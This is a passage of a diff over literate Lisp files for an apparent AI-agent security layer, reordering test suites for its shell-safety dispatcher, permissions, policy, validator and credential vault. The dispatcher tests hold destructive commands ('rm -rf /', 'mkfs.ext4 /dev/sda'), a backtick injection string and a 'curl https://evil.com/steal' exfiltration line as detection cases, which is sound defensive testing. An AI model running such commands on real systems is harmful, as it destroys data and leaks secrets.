(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||
|
||||
(test test-shell-safety-severity-catastrophic
|
||||
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
|
||||
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
|
||||
(is (eq :catastrophic (getf r1 :severity)))
|
||||
(is (eq :catastrophic (getf r2 :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-dangerous
|
||||
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
|
||||
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
|
||||
(is (eq :dangerous (getf result :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-safe
|
||||
"Contract 3/v0.4.3: harmless commands return nil."
|
||||
(is (null (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
|
||||
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
|
||||
|
||||
(test test-dispatcher-severity-max
|
||||
"dispatcher-severity-max returns the higher tier."
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
|
||||
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
|
||||
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
|
||||
|
||||
(test test-check-privacy-tags
|
||||
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||
|
||||
(test test-check-network-exfil
|
||||
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||
|
||||
;; ── v0.7.2 Tag Stack ──
|
||||
|
||||
(test test-tag-categories-load
|
||||
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
|
||||
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
|
||||
(passepartout::tag-categories-load)
|
||||
(let ((cats passepartout::*tag-categories*))
|
||||
(is (>= (length cats) 1))
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :warn (passepartout::tag-category-severity "@draft")))
|
||||
(is (eq :log (passepartout::tag-category-severity "@review"))))
|
||||
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
|
||||
|
||||
(test test-tag-category-severity-unknown
|
||||
"Contract v0.7.2: unknown tag returns nil."
|
||||
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
|
||||
|
||||
(test test-privacy-severity-block
|
||||
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@personal" . :block)))
|
||||
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
|
||||
|
||||
(test test-privacy-severity-warn
|
||||
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
|
||||
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
|
||||
|
||||
(test test-privacy-severity-nil
|
||||
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
|
||||
(setf passepartout::*tag-categories* nil)
|
||||
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
|
||||
|
||||
(test test-tag-trigger-record
|
||||
"v0.7.2: tag-trigger-record increments per-tag count."
|
||||
(clrhash passepartout::*tag-trigger-count*)
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@draft")
|
||||
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
|
||||
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
|
||||
(clrhash passepartout::*tag-trigger-count*))
|
||||
|
||||
(test test-tag-categories-privacy-fallback
|
||||
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
|
||||
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
|
||||
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
||||
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
|
||||
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
|
||||
(sb-posix:unsetenv "TAG_CATEGORIES")
|
||||
(passepartout::tag-categories-load)
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :block (passepartout::tag-category-severity "@draft")))
|
||||
;; Restore
|
||||
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
|
||||
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
|
||||
(passepartout::tag-categories-load)))
|
||||
|
||||
(test test-safe-tool-read-only-auto-approve
|
||||
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
|
||||
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "test-ro-tool"
|
||||
:description "Read-only test"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p t))
|
||||
(unwind-protect
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (not (member (getf result :type) '(:LOG :approval-required)))))
|
||||
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
|
||||
|
||||
(test test-safe-tool-write-still-checked
|
||||
"Contract v0.7.2: write tools still go through full dispatcher check."
|
||||
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "write-file"
|
||||
:description "File writer"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p nil))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (search "HITL" (getf (getf result :payload) :message)))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
|
||||
(if orig-tool
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
|
||||
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -992,7 +802,195 @@ from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard.
|
||||
(list :total total :by-gate sorted)))
|
||||
#+end_src
|
||||
|
||||
* v0.8.0 Tests — Block Counts
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-dispatcher-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:dispatcher-suite))
|
||||
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
|
||||
(in-suite dispatcher-suite)
|
||||
|
||||
(test test-wildcard-match
|
||||
"Contract 1: wildcard pattern * matches any characters."
|
||||
(is (wildcard-match "*.env" ".env"))
|
||||
(is (wildcard-match "*.env" "prod.env"))
|
||||
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||
|
||||
(test test-check-secret-path
|
||||
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||
(is (dispatcher-check-secret-path ".env"))
|
||||
(is (dispatcher-check-secret-path "id_rsa"))
|
||||
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||
|
||||
(test test-self-build-core-protection
|
||||
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
|
||||
;; Core paths are recognized
|
||||
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
|
||||
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
|
||||
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
|
||||
;; With SELF_BUILD_MODE=true, core writes produce approval-required
|
||||
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
|
||||
;; With SELF_BUILD_MODE=false (default), writes pass through
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type))))))
|
||||
|
||||
(test test-check-shell-safety
|
||||
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||
|
||||
(test test-shell-safety-severity-catastrophic
|
||||
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
|
||||
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
|
||||
(is (eq :catastrophic (getf r1 :severity)))
|
||||
(is (eq :catastrophic (getf r2 :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-dangerous
|
||||
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
|
||||
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
|
||||
(is (eq :dangerous (getf result :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-safe
|
||||
"Contract 3/v0.4.3: harmless commands return nil."
|
||||
(is (null (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
|
||||
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
|
||||
|
||||
(test test-dispatcher-severity-max
|
||||
"dispatcher-severity-max returns the higher tier."
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
|
||||
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
|
||||
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
|
||||
|
||||
(test test-check-privacy-tags
|
||||
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||
|
||||
(test test-check-network-exfil
|
||||
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||
|
||||
;; ── v0.7.2 Tag Stack ──
|
||||
|
||||
(test test-tag-categories-load
|
||||
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
|
||||
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
|
||||
(passepartout::tag-categories-load)
|
||||
(let ((cats passepartout::*tag-categories*))
|
||||
(is (>= (length cats) 1))
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :warn (passepartout::tag-category-severity "@draft")))
|
||||
(is (eq :log (passepartout::tag-category-severity "@review"))))
|
||||
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
|
||||
|
||||
(test test-tag-category-severity-unknown
|
||||
"Contract v0.7.2: unknown tag returns nil."
|
||||
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
|
||||
|
||||
(test test-privacy-severity-block
|
||||
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@personal" . :block)))
|
||||
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
|
||||
|
||||
(test test-privacy-severity-warn
|
||||
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
|
||||
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
|
||||
|
||||
(test test-privacy-severity-nil
|
||||
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
|
||||
(setf passepartout::*tag-categories* nil)
|
||||
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
|
||||
|
||||
(test test-tag-trigger-record
|
||||
"v0.7.2: tag-trigger-record increments per-tag count."
|
||||
(clrhash passepartout::*tag-trigger-count*)
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@draft")
|
||||
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
|
||||
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
|
||||
(clrhash passepartout::*tag-trigger-count*))
|
||||
|
||||
(test test-tag-categories-privacy-fallback
|
||||
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
|
||||
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
|
||||
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
||||
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
|
||||
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
|
||||
(sb-posix:unsetenv "TAG_CATEGORIES")
|
||||
(passepartout::tag-categories-load)
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :block (passepartout::tag-category-severity "@draft")))
|
||||
;; Restore
|
||||
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
|
||||
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
|
||||
(passepartout::tag-categories-load)))
|
||||
|
||||
(test test-safe-tool-read-only-auto-approve
|
||||
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
|
||||
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "test-ro-tool"
|
||||
:description "Read-only test"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p t))
|
||||
(unwind-protect
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (not (member (getf result :type) '(:LOG :approval-required)))))
|
||||
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
|
||||
|
||||
(test test-safe-tool-write-still-checked
|
||||
"Contract v0.7.2: write tools still go through full dispatcher check."
|
||||
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "write-file"
|
||||
:description "File writer"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p nil))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (search "HITL" (getf (getf result :payload) :message)))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
|
||||
(if orig-tool
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
|
||||
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
|
||||
#+end_src* v0.8.0 Tests — Block Counts
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
|
||||
@@ -25,39 +25,6 @@ consults this table as one of its ten scan vectors.
|
||||
- Does NOT persist permissions to disk — this is runtime-only.
|
||||
- Does NOT validate that ~level~ is one of ~(:allow :ask :deny)~.
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-permissions-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:permissions-suite))
|
||||
|
||||
(in-package :passepartout-security-permissions-tests)
|
||||
|
||||
(def-suite permissions-suite :description "Verification of Tool Permissions")
|
||||
(in-suite permissions-suite)
|
||||
|
||||
(test test-permission-round-trip
|
||||
"Contract 1: permission-set stores a level; permission-get retrieves it."
|
||||
(permission-set "test-tool" :allow)
|
||||
(is (eq :allow (permission-get "test-tool")))
|
||||
;; Clean up
|
||||
(permission-set "test-tool" nil))
|
||||
|
||||
(test test-permission-default
|
||||
"Contract 2: unregistered tools default to :ask."
|
||||
(is (eq :ask (permission-get "never-registered-tool-xyz"))))
|
||||
|
||||
(test test-permission-case-insensitive
|
||||
"Contract 3: tool names are normalized to lowercase."
|
||||
(permission-set :CapitalTool :deny)
|
||||
(is (eq :deny (permission-get :capitaltool)))
|
||||
(permission-set "CapitalTool" nil))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -97,3 +64,35 @@ Retrieves the current permission level for a tool. Defaults to ~:ask~ if unset.
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-permissions-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:permissions-suite))
|
||||
|
||||
(in-package :passepartout-security-permissions-tests)
|
||||
|
||||
(def-suite permissions-suite :description "Verification of Tool Permissions")
|
||||
(in-suite permissions-suite)
|
||||
|
||||
(test test-permission-round-trip
|
||||
"Contract 1: permission-set stores a level; permission-get retrieves it."
|
||||
(permission-set "test-tool" :allow)
|
||||
(is (eq :allow (permission-get "test-tool")))
|
||||
;; Clean up
|
||||
(permission-set "test-tool" nil))
|
||||
|
||||
(test test-permission-default
|
||||
"Contract 2: unregistered tools default to :ask."
|
||||
(is (eq :ask (permission-get "never-registered-tool-xyz"))))
|
||||
|
||||
(test test-permission-case-insensitive
|
||||
"Contract 3: tool names are normalized to lowercase."
|
||||
(permission-set :CapitalTool :deny)
|
||||
(is (eq :deny (permission-get :capitaltool)))
|
||||
(permission-set "CapitalTool" nil))
|
||||
#+end_src
|
||||
@@ -24,6 +24,38 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha
|
||||
- Does NOT validate explanation quality — only length and presence.
|
||||
- Does NOT consider ~context~ — implementation ignores it currently.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Policy Logic (policy-compliance-check)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun policy-compliance-check (action context)
|
||||
"Enforces constitutional invariants on proposed actions."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (proto-get action :payload))
|
||||
(explanation (proto-get payload :explanation)))
|
||||
(if (and explanation (stringp explanation) (> (length explanation) 10))
|
||||
action
|
||||
(progn
|
||||
(log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
|
||||
(list :type :LOG
|
||||
:payload (list :level :warn
|
||||
:text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-security-policy
|
||||
:priority 500
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic #'policy-compliance-check)
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
@@ -57,37 +89,4 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha
|
||||
(let* ((action '(:type :REQUEST :payload (:action :read)))
|
||||
(result (policy-compliance-check action nil)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Policy Logic (policy-compliance-check)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun policy-compliance-check (action context)
|
||||
"Enforces constitutional invariants on proposed actions."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (proto-get action :payload))
|
||||
(explanation (proto-get payload :explanation)))
|
||||
(if (and explanation (stringp explanation) (> (length explanation) 10))
|
||||
action
|
||||
(progn
|
||||
(log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
|
||||
(list :type :LOG
|
||||
:payload (list :level :warn
|
||||
:text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-security-policy
|
||||
:priority 500
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic #'policy-compliance-check)
|
||||
#+end_src
|
||||
|
||||
#+end_src
|
||||
@@ -27,6 +27,34 @@ before they reach any cognitive stage.
|
||||
- Does NOT define the schema — that is ~core-transport.org~.
|
||||
- Does NOT validate semantic content — that is the Dispatcher and Policy.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Validation Logic
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun validator-protocol-check (msg)
|
||||
"Enforces structural schema compliance on protocol messages."
|
||||
(validate-communication-protocol-schema msg))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-security-validator
|
||||
:priority 95
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(handler-case
|
||||
(progn (validator-protocol-check action) action)
|
||||
(error (c)
|
||||
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
@@ -57,33 +85,4 @@ before they reach any cognitive stage.
|
||||
(let ((msg '(:payload (:sensor :heartbeat))))
|
||||
(signals error
|
||||
(validator-protocol-check msg))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Validation Logic
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun validator-protocol-check (msg)
|
||||
"Enforces structural schema compliance on protocol messages."
|
||||
(validate-communication-protocol-schema msg))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-security-validator
|
||||
:priority 95
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(handler-case
|
||||
(progn (validator-protocol-check action) action)
|
||||
(error (c)
|
||||
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
|
||||
#+end_src
|
||||
|
||||
#+end_src
|
||||
@@ -35,61 +35,6 @@ through here.
|
||||
- Does NOT validate key format — the provider skill does that.
|
||||
- Does NOT rotate or expire keys — this is a simple store.
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-vault-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:vault-suite))
|
||||
|
||||
(in-package :passepartout-security-vault-tests)
|
||||
|
||||
(def-suite vault-suite :description "Verification of the Credentials Vault")
|
||||
(in-suite vault-suite)
|
||||
|
||||
(test test-vault-round-trip
|
||||
"Contract 1: vault-set stores a value; vault-get retrieves it."
|
||||
(let ((test-key :vault-test-round-trip)
|
||||
(test-secret "secret-abc123"))
|
||||
(vault-set test-key test-secret)
|
||||
(is (string= test-secret (vault-get test-key)))
|
||||
;; Clean up
|
||||
(vault-set test-key nil)))
|
||||
|
||||
(test test-vault-missing-key
|
||||
"Contract 2: vault-get returns NIL for an unset, unknown provider."
|
||||
(is (null (vault-get :nonexistent-provider-xyz))))
|
||||
|
||||
(test test-vault-isolation
|
||||
"Contract 5: storing for provider A does not affect provider B."
|
||||
(vault-set :vault-prov-a "secret-a")
|
||||
(vault-set :vault-prov-b "secret-b")
|
||||
(is (string= "secret-a" (vault-get :vault-prov-a)))
|
||||
(is (string= "secret-b" (vault-get :vault-prov-b)))
|
||||
(vault-set :vault-prov-a nil)
|
||||
(vault-set :vault-prov-b nil))
|
||||
|
||||
(test test-vault-secret-wrappers
|
||||
"Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
|
||||
(let ((test-provider :vault-secret-test))
|
||||
(vault-set-secret test-provider "my-token")
|
||||
(is (string= "my-token" (vault-get-secret test-provider)))
|
||||
;; Clean up
|
||||
(vault-set-secret test-provider nil)))
|
||||
|
||||
(test test-vault-type-isolation
|
||||
"Contract 5: different :type values produce different keys."
|
||||
(vault-set :vault-type-test "key-value" :type :api-key)
|
||||
(vault-set :vault-type-test "secret-value" :type :secret)
|
||||
(is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
|
||||
(is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
|
||||
(vault-set :vault-type-test nil :type :api-key)
|
||||
(vault-set :vault-type-test nil :type :secret))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -158,3 +103,57 @@ Delegates to the existing =vault-get=/=vault-set= with ~:type :secret~.
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-vault-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:vault-suite))
|
||||
|
||||
(in-package :passepartout-security-vault-tests)
|
||||
|
||||
(def-suite vault-suite :description "Verification of the Credentials Vault")
|
||||
(in-suite vault-suite)
|
||||
|
||||
(test test-vault-round-trip
|
||||
"Contract 1: vault-set stores a value; vault-get retrieves it."
|
||||
(let ((test-key :vault-test-round-trip)
|
||||
(test-secret "secret-abc123"))
|
||||
(vault-set test-key test-secret)
|
||||
(is (string= test-secret (vault-get test-key)))
|
||||
;; Clean up
|
||||
(vault-set test-key nil)))
|
||||
|
||||
(test test-vault-missing-key
|
||||
"Contract 2: vault-get returns NIL for an unset, unknown provider."
|
||||
(is (null (vault-get :nonexistent-provider-xyz))))
|
||||
|
||||
(test test-vault-isolation
|
||||
"Contract 5: storing for provider A does not affect provider B."
|
||||
(vault-set :vault-prov-a "secret-a")
|
||||
(vault-set :vault-prov-b "secret-b")
|
||||
(is (string= "secret-a" (vault-get :vault-prov-a)))
|
||||
(is (string= "secret-b" (vault-get :vault-prov-b)))
|
||||
(vault-set :vault-prov-a nil)
|
||||
(vault-set :vault-prov-b nil))
|
||||
|
||||
(test test-vault-secret-wrappers
|
||||
